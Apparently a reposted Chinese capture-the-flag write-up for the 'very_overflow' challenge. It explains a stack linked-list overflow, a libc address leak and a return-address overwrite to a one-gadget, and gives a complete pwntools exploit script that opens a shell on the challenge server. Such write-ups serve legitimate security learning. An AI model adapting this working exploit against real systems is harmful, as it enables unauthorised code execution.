very_overflow的wp
来源:互联网 发布:明星网络暴力 编辑:程序博客网 时间:2024/06/01 09:42
https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了very_overflow这个题目感觉还不错,我把wp分享出来,方便大家学习
very_overflow的题目要求是:
nc hackme.inndy.tw 7705Source Code:https://hackme.inndy.tw/static/very_overflow.c
程序的源码给了,这个程序的用处就是在栈中创建一个链表,链表中记录的输入数据,可以看到这个链表可以无限循环下去,这样就会造成栈溢出
先运行一下程序看一下这个程序干了啥:
可以看到这个程序可以输出下一个链表的地址
再看看程序开启了哪些保护:
看到这个程序开了栈不可执行,因为这个程序可以泄露栈的地址,所以可以用http://blog.csdn.net/niexinming/article/details/78666941提到的MAGIC方法去做这个题目
这个程序的难点是泄露__libc_start_main的地址,这个程序NOTE的结构是:
struct NOTE { struct NOTE* next; char data[128];};
如果想show某个节点的时候,程序会先顺着next指针一直往下找,直到找到某个节点或者节点指针为空,而下个指针的地址为__libc_start_main,那么就会泄露这个指针,暴露__libc_start_main之后,可以再次通过edit_note来编辑vuln函数返回地址,使之指向MAGIC,就可以getshell了
所以我都exp是
#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *import timecontext(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')localMAGIC = 0x0003AC69 #locallibcremoteMAGIC = 0x0003AC49 #remotelibcdef debug(addr = '0x0804895D'): raw_input('debug:') gdb.attach(io, "directory /home/h11p/hackme/\nb *" + addr)def base_addr(prog_addr,offset): return eval(prog_addr)-offsetelf = ELF('/home/h11p/hackme/very_overflow')#io = process('/home/h11p/hackme/very_overflow')io = remote('hackme.inndy.tw', 7705)debug()for i in xrange(0,133): #time.sleep(2) io.recvuntil('Your action:') io.sendline("1") io.recvuntil("Input your note:") io.sendline('A' * 0x79)io.recvuntil('Your action:')io.sendline("1")io.recvuntil("Input your note:")io.sendline('c' * 0x2f)io.recvuntil('Your action:')io.sendline("3")io.recvuntil('Which note to show:')io.sendline('134')io.recv()io.sendline("2")libc_start_main = io.recv().splitlines()[1]libc_module=base_addr(libc_start_main[11:],0x18637)#MAGIC_addr=libc_module+localMAGICMAGIC_addr=libc_module+remoteMAGICprint hex(MAGIC_addr)io.sendline('133')io.recvuntil('Your new data:')payload = 'a'*10+'b'*7+p32(MAGIC_addr)+'c'*9+'d'*10+'e'*7io.sendline(payload)io.recvuntil('Your action:')io.sendline("5")io.interactive()io.close()
效果是:
注意:打远程服务器的时候会出现偶尔断掉的情况,要多打几次才行
阅读全文
0 0
- very_overflow的wp
- WP的好书
- wp的progressDialog
- wp 遇到的错误
- wp 的MD5代码
- 移植WP的总结
- sp&wp 的三板斧
- WP的后台代理
- sp&wp 的三板斧
- sp&wp 的三板斧
- smashthestack的wp
- onepunch的wp
- raas的wp
- ping的wp
- leave_msg的wp
- stack的wp
- 湖湘杯pwn400的wp
- notepad的wp
- ArrayList源码剖析
- 第十七章经典抽象数据类型(一)
- 机器学习笔记一
- 一个遍历文件夹内容,显示文件名,大小等信息的MFC程序
- 新一代分布式服务框架:服务网格servicemesh
- very_overflow的wp
- LinkedList源码剖析
- phandle一种错误的用法及改正方法
- 关于TypeError : React object is undefined on createElement
- PHP 根据IP地址获取所在城市
- 计算1-n的阶乘值
- .net中获取MD5码
- stm32F0 16M时钟配置
- 排序之冒泡 选择 插入 快速(c++)